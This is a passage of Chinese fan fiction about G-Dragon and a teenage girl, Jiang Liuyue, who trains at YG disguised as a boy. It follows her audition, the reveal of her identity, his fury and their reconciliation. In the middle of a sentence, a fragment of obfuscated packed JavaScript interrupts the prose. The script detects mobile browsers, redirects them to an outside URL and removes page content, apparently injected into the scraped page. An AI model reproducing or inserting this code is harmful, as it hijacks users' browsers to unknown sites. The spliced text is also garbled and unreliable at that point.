她也不知道自己在害怕什么,只觉得心跳的很快,嘴里很苦,甚至泛出一些血腥味。 她太紧张了,把自己的嘴巴都咬破了。 权志龙这会儿已经把窗户关了,自己穿个工字背心,脖子上搭了个毛巾,汗湿的头发贴在脸颊上,他盘腿坐在地板上,看着这个走进来的,小老鼠一样的,咯吱咯吱的只会叫哥的窝囊家伙。 “为什么偷看。” 江留月不吭声。 “你想当歌手?” 权志龙又问。 江留月还是不吭声。 权志龙烦躁的捋了一把脸,深吸一口气之后:“你要干什么,酱得利,你快要给我整的混乱了,天天在那里偷看,却一次都不肯 开口,我又不是你的仆人或者秘书,为什么要猜你的想法,疯小子,你到底要干嘛?” “……”江留月的膝盖一直在抖,她不知道自己在恐惧什么,她想要张嘴说,却一个字都说不出来。 “你,”权志龙叹了口气:“别这样活着,什么都不说,让别人去猜测,谁会去猜啊,谁都不会去猜,只会觉得烦。” “你真的烦死了。” “在我把你踹出去之前,就一次,我就给你这一次机会,你到底要干嘛,说出来听听,就这一次,酱得利,这是你的人生的机 会……可能以后你还会有别的人生机会,但是在我这里的机会,你就这一次。” 权志龙说完了,等了一会儿,江留月还只是站在那。 他的耐心终于售罄。 甚至觉得自己今天晚上这异想天开的谈话是一场荒谬的闹剧。 自己都吊在悬崖上不上不下,却想着拉别人一把? 又不是什么珍贵的孩子,只是个送外卖的罢了。 又轻率、又窝囊、又沉默,总是像个影子一样,不会哭也不爱笑,阴沉沉的缩在角落里,像个老鼠一样探头探脑,生怕被人抓去 打死一样。 “……我在干嘛呀,真是疯了。” 权志龙扯下脖子上的毛巾往空中甩了一下,然后一骨碌爬起来就打算离开,他的脚步越来越近,江留月的呼吸越来越急促,最后 几乎是暂停的状态。 她还没有完全确定自己未来的路。 她只有十五岁,刚随着之前聚少离多的母亲离开故国来到韩国,语言不算通顺,对周围的一切都还是探索状态,看不见自己的未 来,也不知道该往哪里走,只是凭借着本能抗拒着被母亲套在头上的人生束具,光是凭借自己的能力填饱肚子,就几乎用尽全部 力气了。 也许在看到练习室的欢声笑语时,她心动过,但即使那样光芒万丈的权志龙,在舞台上也只是别人的伴舞。 她不是来自沟渠的老鼠,没见过光的小丑,她接受过优越的教育,被当做过大家族的继承者之一培养,她脱下油腻腻的围裙就能 走进24小时恒温恒湿的高级公寓睡觉。 如果走了练习生这条路,那就意味着她和母亲彻底的对立,连温暖的公寓都可能失去,也许走不到舞台上,也许会直接被母亲放 弃,也许…… 无数个恐惧和猜测变成未来这条路上不确定的浮板,她踩上去的时候,到底是会走向不一样的人生,还是直接掉下深渊? 权志龙越走越近,近的江留月看得到那双淡褐色的瞳孔里自己的倒影。 权志龙皱着眉,冷着脸,胸口一起一伏,打她一顿都是轻的。 不如这样逃跑,干脆回到家里去。 不就是去上所谓的女子学校,不就是毕业之后就听从妈妈安排嫁人吗? 至少那是,明亮的,温暖的,恒温恒湿的,不会磨坏娇贵鞋底的一条路。 是吧。 就像是权志龙说的。 她的人生机会,还多得是。 但。 就像是权志龙说的。 “……” 权志龙顿住了。 那是一只冰凉的,颤抖的小手,拽住了他的衣服一角。 【和权志龙一起走的人生机会,只有这一次。】 他已经跨出了门,冬季尚未过去,冷风四处乱窜,他松垮套着的外套下,跳舞蒸腾的汗水正变成冰冷的雷暴,让他快速的失温。 很不舒适,令人微微发抖。 这样的冷意,他也能感觉到,对方因为太着急连带着背心一起拽住了,指节因此探入,贴近了他的腰侧的冰冷的温度。 “……我、我想当歌手。” 原来这孩子,会哭啊。 不管怎么捉弄总是沉默,还以为不会伤心,也不会害怕,更不会流泪呢。 怎么哽咽着,哆哆嗦嗦的说着话。 我有那么吓人吗? “志龙哥……我抓住了……抓住了……” “机会……” “请给我做歌手的机会。” 江留月等待着命运的判决。 她太仓促了,任谁看,也不像是下足了决心斗志昂扬的样子。 充满着对未知的迷茫和恐惧,发着抖勉强拽住救命稻草。 权志龙再给她脑袋来一下怎么办啊。 “……哭什么,我又没打你。” 权志龙叹了口气。 少年人的修长手指握住了她的手,将那被攥得变形的背心和外套都拯救出来:“别拽了,这是限量版啊。” 权志龙想甩开她的手,却看到她委屈的皱巴巴的小脸和滚滚而下的泪珠。 最终他叹了口气,握紧了那小小的,冰凉的手掌。 啊。 真烦啊。 看来是真的,完全丢不掉的牛皮糖。 做歌手什么的。 虽然我自己都还没出道,但是我可是伟大的G-Dragon,有我这样的天才,一定能把你变成一个合格的后辈,然后,一起在这漫长 的练习生涯里,吃我吃过的苦,走我走过的路,最后,去同一个地方吧。 到了那个时候,再紧握这双手,一起谢幕,一起感谢台下的粉丝。 “别哭了,你的手怎么那么冷啊,走吧,哥请你去吃个炒年糕。” “走吧。” 21.似梦非梦(中) 20.似梦非梦(中) 珍贵的从来不是玫瑰,是你为了花盛开的瞬间而付出的努力。 * 江留月参加练习生选拔的那一天,权志龙紧张的什么都吃不下。 他一会儿担心江留月会发挥不好,一会儿又开始懊悔自己帮她选的曲子是不是不够好,总之焦躁的在练习室走来走去的他惨遭吐 槽‘活像是个等待在产房外面的丈夫’。 权志龙冷笑一声,自从他开始帮酱得利进行训练,知道他浪费了多少睡眠的时间,死了多少脑细胞,血压都高了不止一两个度,如果不是看在那张干净漂亮的小脸蛋还算真诚,他早就掐死对方了,现在到了检验成果的时候,酱得利但凡给一个不好的结果, 他必然要让这个练习室成为炼狱。 “……不成功的话,我要杀了他。” 权志龙一边说,一边恶狠狠的搓了搓自己的手。 不知道过了多久,练习室的门终于被打开了,李宝型怀里抱着一叠文件敲门进来,身后跟着低着头的江留月。 众人齐刷刷的看了过去,很明显,紧张的人从来不止是权志龙。 “孩子呀,你先去换个衣服,收拾一下,待会我们一起去吃个饭,好吗?” 李宝型用温柔的语气说道。 江留月点了点头,走过去拿起了自己的背包,刚要离开,却被权志龙一把薅住了后脖颈。 她已经被拽来扯去的薅习惯了,甚至放弃了挣扎,只是一只手捂住脖颈,让脖子和衣领之间留下些许喘息的空间。 “你……” 权志龙正要问结果如何,李宝型就打断了他的话:“志龙啊,你们这群孩子现在到会议室来一下好吗?” 众人面面相觑,看江留月的表情,也看不出什么,这孩子的表情真是奇怪,看起来不像是高兴也不像是难过,倒像是有什么为难 的事情一样。 难道是因为签约的条件非常的苛刻? 想不出所以然的权志龙推门而入,发现几乎所有的前辈和社长都在,大家都用一种说不出的诡异表情看着他。 “……怎么了,哥?” 权志龙先鞠躬问好,然后有些不自在的问道。 杨贤硕在把玩手里的笔,权志龙瞥到他的胳膊底下压着的表格正属于江留月,心里不知道怎么得突突了一下。 “志龙啊,这个孩子你觉得怎么样?” 杨贤硕问道。 “我……呃……”权志龙支支吾吾的,不好说什么结论。 “能亲自教,说明志龙还是很喜欢的嘛。”Sean哥在旁边说道,不知道想到什么开心的事情,牙花子都笑出来了。 “其他人呢?好歹也是一起偷偷训练了快要一个月了,对这个孩子……呃……名字是什么来着……什么看法呢?” 其他人比起权志龙更说不上什么东西,只能含含糊糊的说一下模棱两可的话。 “一起偷偷训练了一个月啊……” 杨贤硕的声音拖得很长,权志龙忐忑的绷紧了神经,这种私下训练其实并不被允许,但YG是个小公司,管理宽松,只要不额外占 用金钱资源,其他的都睁只眼闭只眼。 他以为要挨骂了,心想挨骂也没办法了的时候,听见杨贤硕说: “你们就没有一个人发现,那是个女孩子吗?” “……” 权志龙蒙了。 他还来不及消化这句话,整个会议室的人,除了他们这几个可怜的练习生,都已经开始哄堂大笑起来。 “看看志龙的表情,我就知道这小子会吓傻。” Sean一边笑一边摇头:“看吧,哥,我就知道这小子不知情,我今天早上还看到志龙在给她加练,因为腿摆不对位置,志龙直接 踢人家的大腿和屁股呢。” 但凡知道对方是个女生,权志龙那几脚,是怎么都不可能踹得下去的。 这小子自诩温柔多情,面对女生的时候总是端着装得厉害,连声音都是刻意压低的,怎么会暴跳如雷的用奶音咆哮到嗓子劈叉 呢? 权志龙还是反应不过来,他的脑子处理不了这种信息。 接下来,还有让他更加宕机的场景。 江留月换好了李宝型给她临时找出来的一条裙子,推开了会议室的门。 总是遮着大半张脸的刘海被李宝型梳了起来,露出了那姣好清秀,已经初见美人端倪的脸庞,黑色的眸子里带着一些忐忑和不安 的扫视着周围。 江留月也不知道要如何处理面前的情况,她不是没有想找机会说明白自己的女生身份,但好像又没有什么特别合适的场合。 每天都训练到灰头土脸,因为疲惫或者肌肉酸痛也哭闹过,权志龙总是给她的脑瓜子来上一下,或者让她的屁股小腿挨上一顿扫 堂腿,这个时候如果哭着说‘我是女生你不要这样打我屁股’,感觉剧情会变得格外奇怪,再加上江留月自己不敢面对着越来越 复杂的情况,因此直接拖延到了今天的练习生考核。 在场的人除了杨贤硕和公司的艺人外,还有许多工作人员,大家都知道她是酱得利,都以为,她应该是‘他’。 这个误会必须到此为止了。 江留月硬着头皮在听完点评之后,说出了自己的真实身份。 当时会议室的骚乱不比权志龙脑子里的龙卷风平静。 现在也一样。 ‘每天挨打的小子忽然穿着裙子出现了’这件事情的冲击性,将一众哥哥前辈都震惊到了,大家神态各异,甚至有想要掐自己一 把,看是不是一个荒唐梦境的程度。 江留月最害怕的就是权志龙的反应,她觉得权志龙知道这个大乌龙之后一定会觉得非常丢人,搞不好现在就会打她一顿。 为了不挨打,她鼓足勇气看向不知道在想什么但表情空白的权志龙,很小声的说:“OPPA,对不起。” “……” 权志龙深呼吸一口气,直接倒退一步,两步,蹭着人群一直挤到了门口。 他无法接受,也不能接受,在江留月还要靠过来道歉的时候,选择了嚎叫一声:“你不要过来!!!!”之后夺门而出。 会议室里,前辈哥哥们的笑声不厚道的再次闹翻了天。 从那之后,权志龙就躲着江留月了。 江留月想要道歉,但不管她怎么打电话发短信都是石沉大海,为了躲着她,权志龙干脆连练习都缺席了。 江留月只好手写了一封信委托给东永裴转交,但东永裴送信之后,却给了她一个安慰的反馈:很显然,权志龙一时半会儿依然接 受不了。 “没事的,志龙不是很疼你吗,他会理解的。” 东永裴看着垂头丧气的小孩安慰道:“别伤心,挨打的人又不是志龙,他气不了太久的。”江留月只好接受这样的安慰,并将精 力放在更重要的事情上,那就是找乔娜这个监护人来给她的练习生合同签字。 令她惊讶的是,虽然在得到这个消息之后的乔娜情绪激动的和她大吵一架,却在柳天赐的安抚之下缓和了情绪,再等到第二天之 后,乔娜的态度来了个一百八十度大转弯,轻而易举,甚至有些愉悦的签下了她的练习生合同。 “跟你的练习生前辈们好好相处,出不出道不重要,重要的是,你现在积攒的人脉很有用,拿这个买一些礼物送给他们吧。” 乔娜给了江留月一大笔钱,还恢复了她的生活费,带她去商场置办了一些衣服。 “……我用不到这么华丽的衣服。” 不管是学校还是公司,怎么看都不适合这样轻飘飘的裙摆和闪烁着光芒的配饰。 “女孩子总要打扮漂亮点,不然怎么会有好的缘分来呢。” 乔娜不以为然:“去试试。” 江留月刚和母亲的关系有所缓和,她犹豫了片刻,还是决定不忤逆乔娜的想法,可当她换好裙子从试衣间出来的时候,却没看到 乔娜的身影。 她的手机和背包都在乔娜身上,她只好四处张望着寻找乔娜,就在这个时候,她听到了一个带着怀疑的声音: “……酱得利……?” 江留月回过头,看到权志龙手里拎着两个购物袋,表情愕然的看着他,旁边是一个打扮时尚的年长女子,正好奇得打量着他们两 个人的互动。 “……”江留月浑身一麻,下意识的吞了口口水,磕磕巴巴的鞠躬问好:“志、志龙哥……你、你怎么在这……” “你……”权志龙的重点,却不在这,他皱着眉,表情难看的盯着江留月身上一看就价值不菲的小裙子。 今天江留月是出来和乔娜逛街的,这里也属于首尔比较高档的商场,自然不能穿她百年不变的运动服。尽管已经被换掉了,但从 出门开始,她从头到脚都是干净清爽的装扮,乔娜还嫌弃她的刘海不好看,用了一个昂贵的钻石发卡将她的头发别在耳侧。 不管怎么看,这绝对是一个富人家才能养得出来的孩子,白皙光滑的肌肤,蓬松的头发,剪裁流畅的衣服,小巧精致的皮鞋,闪 闪发光的首饰……怎么看,都和那个裹在不合身的棉服里,总是冻得脸色青白的小外卖员判若两人。 “江小姐,江小姐。” 此时有售货员注意到了江留月,急忙跑过来:“您的母亲刚刚碰到了认识的朋友,两个人去隔壁看新品了,她吩咐我只要这件衣 服合身,就给您直接包起来。” “啊……?啊、啊……” 江留月嗫嚅着答应,不敢说话,眼神乱飞。 “您穿着真合适呀,是准备参加什么宴会吗?啊,您是现在就穿着呢,还是我为您包起来呢?” 售货员说得天花乱坠,权志龙的脸色也越来越黑,他将手里的购物袋取下来往身旁大美女的怀里一丢,自己转身就走。 “志龙啊你去哪里?!不陪我逛街了?!” 权达美手忙脚乱接住自己的战利品。 “别管我!!” “呀,臭小子,你对姐姐什么态度……呀,你晚上还回家吃饭吗?” 权达美正不知道发生什么事情,却看到那个漂亮的像个水晶娃娃的女孩跌跌撞撞的朝着权志龙离开的背影追了过去。 “……什么啊。” 权达美表示不能理解年轻人:“……拍电视剧呢?这臭小子……为什么忽然发火了?” 权志龙何止发火。 他简直要发疯了。 这短暂又漫长的一周来,因为那数百条道歉的短信和歪歪扭扭的手写信才开始动摇的心仿佛被人抓着狠狠地砸在了地上,连带着 冤枉到说不出口的委屈摔得粉碎。 他只觉得自己像是个动物园的猴子,是游乐园的小丑,是被架上舞台放大观察的标本,唯独不像是个人。 太荒谬了,太荒唐了,太寒心了,太…… 过度激荡的情感冲击着他的头,在江留月抓住他衣角的瞬间,权志龙想也不想的挥手狠狠打掉那只手。 啪的一声,一定很重,因为权志龙自己的手也火辣辣的烧了起来。 “志、志龙哥,志龙哥……请听我解释,这是有原因的……” 江留月急得眼泪都要出来了,紧张屏蔽了她的痛感,她又去抓权志龙的衣角,但对方依然毫不留情的打掉了她的手。 权志龙冰冷的看着她,一字一句道:“离我远点,你这疯子。” 因为跑得太快,江留月艰难的吞了口口水,急急忙忙的寻找着可能被原谅的解释:“我、我不是有意要骗你的,不,不是,我没 有骗你,我,我是真的想当歌手,志龙哥,我是真心当歌手,真心想当你的弟弟……啊不是,我、我是……” 她结结巴巴了一两分钟,却发现,自己似乎解释不清楚。 “不是酱得利,是有钱人的大小姐,你想唱歌的话,为什么不自己去找个公司,那么喜欢演戏的话,为什么不去拍电视剧,”权 志龙气得眼前发黑,他指着对方的手指都在颤抖:“呀,你,你……”他不知道对方的真名,自己反而给自己气得结巴了:“你 这个骗子,疯子,疯女人,你是变态吗?为什么要来这里受苦装成可怜的样子,呀,你在耍我吗?你是故意的吗?这是什么隐藏 摄像机吗?又是哪个狗杂种写的剧本!!!”【PS:《隐藏摄像机》大约为2000~2010年间电视台的特殊综艺,为艺人设计过于 抓马激烈甚至破格的剧情进行不告知的隐藏拍摄】 江留月被权志龙语速极快的输出给吓傻了,她根本听不明白对方在说什么,只能干巴巴的努力解释:“我是因为跟家里关系不好 所以才去打工的,我从来没有要耍你,真的没有,志龙哥……” “别叫我哥!!!” 听到她的“hyong”,权志龙就要应激了。 这是什么荒谬剧情,自己竟然让一个女孩子耍的团团转,没认出对方是个女生,没认出对方的一切都是假的,搞不好自己在苦 恼,在为了她无法提升的唱功和舞蹈头疼睡不着的时候,对方正躲着偷笑! “……你跟个变态一样,女孩子就有个女孩子的样子,就算被误会了,你也应该当时就解释清楚不是吗?” 权志龙深吸一口气,勉强让自己沸腾的大脑冷静下来,他狠狠的抓住江留月再次想要拉住自己衣角的手甩开,用手指着她的鼻 子,恶狠狠的说道:“别靠近我,你真让我恶心。” 一根尖锐的针狠狠扎进江留月的心口。 她呆呆地看着权志龙,眼前这个人,是那么的陌生、冷酷、愤怒,和她记忆中的,完全不一样。 真奇怪,明明是年龄不一样,长相不一样,身高不一样,声音也不一样。 但这个瞬间,权志龙的脸和父亲的脸重合了。 不是韩国的,不是血缘的,而是总是坐在书桌前审阅作业的那个人,是用严厉的语气斥责错误,也用温和的语气解除迷惑的那个
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14700348|151195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 人。 是曾经说“你必须要优秀,因为有一天你要撑起江家”的人,也是说“收拾行李吧,喜欢什么都可以带走,反正都会被丢掉”的 人。 【你不是我的女儿,你的身上没有流着我的血。】 【真是耻辱啊,江氏的耻辱。】 【难怪她不管怎么努力,都不够优秀,看来是基因出了问题。】 ‘做得好,酱得利。’ 权志龙蹲在练习室地板上,对着瘫在地上的江留月说道:‘你今天表现的很好。’ ‘声音还不错,像个做歌手的样子。’ ‘当歌手很难的,别松懈。’ ‘别哭了,呀西八都让你别哭了,为什么哭啊,你之前都不哭的,现在真是吵死了,好了,别哭了,哼一下,你的鼻涕要流出来 了。’ ‘酱得利。’ 权志龙的身影忽明忽灭。 ‘别像个老鼠一样躲在角落里。’ ‘别过这样的人生。’ 江留月在急速奔跑。 脚下娇贵的小皮鞋早就不知道甩哪里去了,她模糊的泪眼里,权志龙的身影在快速的缩小。 这是一个非常陡峭的下坡。 江留月感觉自己像是在极速坠落。 她的双腿不听使唤,身体在重力和惯性的影响下跌跌撞撞,像是被牵引着从高空坠落一般,无法停止冲向前方的动作。 等一下。 等等我。 我有话要说。 ‘肚子饿了就要说饿了,累的要晕倒了就求我休息五分钟,我是阎王吗?’ 练习室里,权志龙正在用报纸给因为低血糖在五分钟前倒在地上现如今被一颗水果糖救回来的江留月扇风,他脸上写满了后 怕:‘你知道你刚才差点一头撞上玻璃吗?’ ‘坚持不住就说啊,我怎么能知道你的心里在想什么。’ ‘虽然不要总流眼泪,但是哭得时候就是要哭得很大声,让我听见啊。’ 权志龙皱起眉:‘算了,撤回,你已经够爱哭了,你之前不是完全不哭的人吗?’ ‘累……因为太累了……’ 累得想要放弃,却舍不得,想要停下脚步,又害怕被丢下,想要偷偷休息,又觉得会让你难过和失望。 所以咬着牙忍着,拼命地,忍着,追赶着。 ‘有这么辛苦吗……’权志龙嘀咕道,他扒拉了一下江留月的脑袋:“酱得利,你真的觉得很辛苦吗?” ‘那就咬牙忍住,再咬咬牙。’ 权志龙的声音也许是累了,气喘得有些漂浮,显得很柔和。 毛毛躁躁的少年,忽然用很柔和的话,摸了摸躲在角落里的小孩。 ‘一定会有好的结果的。’ ‘你要对得起自己的眼泪啊。’ 跌跌撞撞的脚步声。 好像一直跟在身后。 权志龙心烦意乱,脚下险些一个踉跄摔倒,他的怒火再次喷涌而出,在转过身要骂人的瞬间,那个总是碍眼的家伙像是炮弹一样 重重撞在了他的身上。 两个人摔成一团,权志龙痛到骂娘:“阿西吧你这个狗……” “别、别丢下我。” 江留月的眼泪糊了满脸,她紧紧地抓着权志龙的衣服,哭到快要喘不上气:“别不要我,哥,你别不要我。” “我会努力的,我会做的很好的,别不要我,别不要我……” “我会报答你的,哥,我发誓,我会……呜……我会报答你……呜呜呜……我真的不是故意要骗你……呜呜……” 这一下大概真的摔得很惨。 权志龙想,不然为什么心口都开始痛了。 被骗的人是我,被耍的人是我,为什么眼前这个人哭得那么大声,那么惨啊。 我才想哭好不好。 愤怒、委屈、厌恶、背叛感……太多情绪涌上来,反而不知道从何说起。 想要骂人或者打人的心情反而被打碎了,看着眼前哭得那么伤心的人,权志龙感到一阵无力。 你怎么不去当演员啊死丫头。 演技那么好,肯定能拿个青龙赏。 “别哭了,我又没打你。” 权志龙不耐烦地说道,他摸了摸兜,掏出几张纸巾摁在江留月的脸上: “费尽心机要当歌手,你要是半途而废的话,我真的会杀了你。” 好像太轻率了。 怎么轻飘飘的,就能揭过欺骗、背叛、戏弄这么多种可恶的行为呢。 就这样容易原谅的话,好像把自己的心情看的太不重要了。 ‘那能怎么办,我能把人给真的打死吗?’ “我这是什么命啊。” 权志龙试图把衣服抽走,但小孩却不依不饶的凑过来,生怕他离开一样贴的更紧的呜呜的哭着,他头疼的自言自语。 真就是个牛皮糖啊。 权志龙心想。 “从我身上起来,被人拍到我还要不要面子了。” 权志龙凶巴巴的吼道。 江留月摇摇晃晃的爬起来,站在那,也不敢动,通红的像是兔子一样的眼睛紧紧地盯着权志龙,鼻头也哭得红红的。 她的眼睛里蓄满了泪水,长长的睫毛被沾湿成蝴蝶的翅膀,一边抽噎一边含糊的说着对不起。 站起来擦一发现,她的鞋子没了,光着脏兮兮的脚丫站着,膝盖摔伤了,裙子也揉成了一块破布,活像是个刚从垃圾堆里被挖出 来的小乞丐。 脏兮兮又乱七八糟的样子,权志龙又看到了那个躲在角落里小老鼠一样的小外卖员。 他长长出了口气。 “……你又是什么命啊,把自己搞成这样。” 怒火在这个瞬间忽然荡然无存了,他的手指蜷缩了一下,还是摸出了裤兜里的手帕,然后轻轻地擦了擦那满是泪水的双眼。 “再哭我真的杀了你。” “给我忍住。” 江留月很努力的想要忍住,但是当那块手帕轻轻地擦过眼角的时候,越来越多的眼泪就像是夏日迟来的雨水,滚滚而落。 “呀,都让你别哭了!!!” 权志龙暴躁的叫了起来:“都说了别哭了!!!!你这样耍我我还不能生气吗?我只是生气了,你就好好道歉,好好表现不就行 了!?” 他顿了顿,想到刚才女孩哭着哽咽的话语,她磕巴的解释中,似乎能猜测到,也许和家庭有着什么关系吧。 为什么会那么没有安全感,为什么会那么害怕被丢下。 反正都当上了练习生,还是个女练习生,自己这个过河桥丢到哪里去,对她来说,并不重要,为什么非要变得那么狼狈也要追上 来。 ……似乎确实,真的将自己当成了兄长,或者某种依靠吧。 想通了的权志龙语气终于又柔和了下来。 “我吓你的,不是真不要你了。” “叫声哥来听听。” “我就原谅你了。” 22.似梦非梦(下) 21.似梦非梦(下) “对于志龙Xi来说,Alice是……?” 面对采访的话筒,权志龙没有丝毫犹豫,从善如流的回答道: “可爱的后辈和最亲的妹妹。” 这是一个非常完美的回答,权志龙对此很满意。 但显然有人不满意。 “那我们呢?” 站在旁边的CL忍不住吐槽道:“OPPA,我们都还活着呢。” 她旁边站着的是2NE1的其他成员。 权志龙的笑容立刻僵在了脸上,整个人差点就红温了,他硬着头皮挤出笑容,正要说点什么的时候,BOM在旁边神来一笔: “没事儿的,没事的,我是姐姐,妹妹这种事情我不参与竞争。” 很好,这个台阶虽然可以下,但权志龙是真红温了。 这段令人捧腹的花絮在另一个国家引起巨大的反响,CP粉们嗑的头昏脑涨的时候,中国的真爱粉们已经为这段花絮找好了格外应 景的配音。 “她只是我的妹妹~~~” 那天一起参加舞台的江留月头上正好带着一个紫色的羽毛装饰。 “妹妹说紫色很有韵味~” 江留月晚上惯性冲浪,一不小心冲回国内,看到这个视频之后狂笑30秒,狠狠用自己的小号点赞并收藏。 这是在2008年的年末合作舞台结束之后的采访。 此时距离那个脏兮兮的小外卖员成为YG练习生中的一员的初遇,已经过去了将近三年的时光。 江留月已经从战战兢兢的小可怜变成了哥哥们无可奈何的混世小魔王,每当她带着甜甜的笑容出现在门口的时候,权志龙总是先 凝固三秒,才会伸出手像是招呼小狗一样招呼对方过来。 他用无奈的语气说道: “你没有又闯祸吧。” 这个‘又’字,就显得非常的灵气。 倒也不是什么滔天大祸,通常就是不小心弄坏了设备或者弄丢了门禁卡,又或者在开会的时候不经意的顶嘴让杨贤硕大发雷霆, 要不然就是采访或者综艺里嘴瓢说错了什么话,在拿着公司的法人卡狂刷一个面包店的饮料和面包刷到财务紧急冻卡,在练习新 专辑舞蹈的时候气坏了好几个老师诸如此类的鸡毛蒜皮的小事。 江留月撇着嘴嘟囔着自己很好,然后乖乖的坐在权志龙的身边。 权志龙一只手臂搭在她的肩膀上,绕过她的脑袋去捏她的耳朵或者把玩她一小缕头发。 江留月低着头刷网络或者玩游戏,权志龙继续他的工作——有时候是录音,有时候是开会,有时候是在写谱子。 YG的灵魂造型师泰贤老师锐评他们两个人的相处关系:孩子放学之后无处可去只能带到公司里来的单亲爸爸与他那刚进入青春期 的叛逆小孩。 大家听了之后觉得哪里不对的同时又觉得说的很有道理,包括权志龙本人。 权志龙很难找到一个词语去定义他和江留月的关系。 江留月也是。 在她只有十四五岁的时候,权志龙先是做了兄长,然后做了老师,她成为了练习生,权志龙觉得圈子里乱,时刻紧盯着她,护她如同护着幼崽的母豹子(没有母性也没太多人性的那种),如果带她出去玩了,那真是随时随地都拎着她的后脖颈,生怕不懂事 的小崽子被人叼走了。 江留月觉得权志龙又是父亲又是母亲。 这种割裂的感觉她再也没有在别的人身上找到过了。 他就像是所有刻板印象里的父亲那样,严厉的管教着她,讲出来的话有时候刻薄的近乎恶毒,又有着不容侵犯的威严与压迫。 江留月一个女孩儿也没少挨打,即便是后来,她长大成人了,有时候权志龙脸色一沉,她也下意识的夹紧屁股,生怕下一秒就挨 上一脚。 后面随着年龄和阅历的增长,大家都变得成熟了,能更好的处理自己的情绪了,江留月挨骂的次数也减少了,相对的是,权志龙阴阳怪气的频率增加了。 在她闯祸之后,权志龙总是会意味深长的说一句:“真会做事情啊,我们塔伊,怎么能闯祸也那么与众不同呢。” 这样的唠叨或者训斥,最多也就是屁股和脑袋上会挨揍一下,是江留月犯下的所有错误里最严重的惩罚。 更多的惩罚,都被权志龙拦下了。 不管是社长的责骂,需要赔偿的钱财,赔罪的酒席或请客的咖啡、炸鸡、应援物,在骂完了她之后,权志龙就将这份责任自动包 揽走。 “我已经骂过她了。” 每次别人劝说不要太惯着江留月的时候,权志龙总是理直气壮的说:“干嘛总是盯着别人家的孩子生气啊。” 诸如此类的还有骂完了人之后又悄悄在背后为她的工作和学习操心,为她找人去打听中国人的大学政策,在她第一次独立出去上 通告的时候发送长长的备忘短信,在她的初舞台底下亲自动手调整灯光和舞美,为工作人员和伴舞送咖啡送便当,认真的手写便 利贴:‘请多多的照顾我们家孩子。’ 这时候,他又像个教孩子说话鞋子走第一步路说第一句话的母亲了,给她买想吃很久的蛋糕,绕路很久为她买爱吃的水果,因为 她无心的话语托人买来韩国几乎见不到的新鲜荔枝,送到她工作的地方,在她吃的时候露出笑容静静的陪伴着。 更多的时候,权志龙看向她的目光,总是带着些许忧愁,似乎对她有着永远没有尽头的担心,总担心她有没有吃饱,衣服够不够 暖和,有没有好好睡觉,生病的话有没有偷偷丢掉苦涩的药片……他事无巨细的关心像是细密的雨,朦胧而潮湿的浸透她的生 活。 “哥,你这样做,是因为很早之前就爱上我了吗?” 很久之后,江留月这样问道。 权志龙愣了一下。 他很认真的回顾了一下自己的心,然后笑了,说:“是啊,哥真的很爱你。” 他没忍住,用手摸了摸江留月的头顶。 从很久之前开始,可能权志龙自己都没有意识到的时候,他已经开始爱她了。 一开始是怜悯心,然后变成了责任感,最后成为了呼吸一样的本能。 ——并非是男女之爱,也无关心动、欲望与贪婪。 像是爱孩子、爱妹妹、爱雨天捡到的小猫,爱被风吹拂的樱花,爱夏日沉静的湖水,爱秋日金色的落叶,爱照耀着冬雪的月亮。 没有理由,也没有契机,只是感受到了存在就油然而生的爱意,有时候甚至会让权志龙感受到恐惧和逃避。 曾经有着这样一种说法,说猫咪不认为尾巴是身体的一部分,所以总是会追逐自己的尾巴,并在发现尾巴的时候被吓一跳,以至 于有些敏感的猫咪会啃咬自己的尾巴,想要试图摆脱这个不应该有的存在,因而弄得自己遍体鳞伤。 权志龙也经历过这样的阶段。 就是这样一个,看起来和平日里没有区别的,录音室的夜晚。 权志龙看到了自己的“尾巴”。 也许是录音的过程太漫长,也许是哥哥们小声的交谈像催眠,江留月不知不觉趴在长桌上睡着了。 权志龙瞥了她一眼,顺手捞过了椅背上自己的外套搭在她的身上,在搭上之前,他还动手取下了衣服上沉重而华丽的金属装饰品。 这是他们再普通不过的一个夜晚,,录音室里有些闷热的空气和仪器发出的嗡嗡声让人的心里莫名的有些焦躁,权志龙想要抽根 烟,手去拖烟灰缸的时候,碰到江留月因为趴着而散落在桌子上的头发。 “这孩子,头发什么时候那么长了。” 权志龙轻声道,然后将她的头发拨到肩膀上,随着他撩动头发的动作,江留月小巧洁白的耳朵露了出来。 他觉得很有趣又很可爱,伸出手摸了摸她的耳朵。 江留月像是撒娇的小猫一样,怕痒的用头去蹭权志龙的手。 权志龙夹着香烟忽然顿在了那,他也不知道自己是怎么回事,就那么忽然定在了那。 江留月蹭了一下,头就这样放在他的掌心,重心的倾斜让她迷迷糊糊的睁开了眼睛,长长的睫毛扫过权志龙的手掌,她用含混的 声音嘟囔道:“hyong,还没结束吗?” 她没有起来的意思,而是转过头将脸直接埋在他的手心里,抱怨道: “我饿了……快点结束吧……” 趴着睡的姿势并不舒服,江留月又在权志龙手上蹭蹭,艰难的支撑起自己的身体,皱着脸哼哼了两声,勉强睁开了眼睛,然后转 过头,看向权志龙:“几点了……嗯?怎么了哥?” 见权志龙不动弹,江留月猛然凑近了。 太近了。 近的彼此的呼吸都听得到,早就超过了任何一种关系的亲密限度。 她说话的时候,嘴唇微微撅起:“怎么了哥,你怎么走神了。” 权志龙猛然往后撤了一下拉开了两个人之间的距离。 “啊我也饿了,感觉不能集中。” 他自言自语的说道,心口似乎有什么东西在乱窜,他下意识的想要抓住一支笔来记录这一切,指间却只有一支不知道什么时候被 自己揉碎的香烟。 权志龙焦躁的在座位上转了几下,嘴里嘟囔了几句谁也听不清楚的话,手在桌子上扒拉来扒拉去,在他为这不知名的情绪烦躁的 时候,江留月递给了他一支笔。 江留月甚至没有跟他对话,只是顺手递给他一支笔,自己的注意力已经回到刚摸到手里的手机上了。 ‘我们好像太了解彼此了。’ ‘让我为自己这羞于启齿的情感而感到心虚和愤怒。’ 权志龙攥着那支笔,最终也没能在白纸上写下任何词语。 比起歌词、创作、旋律。 写出来感觉更像是签字画押的罪证。 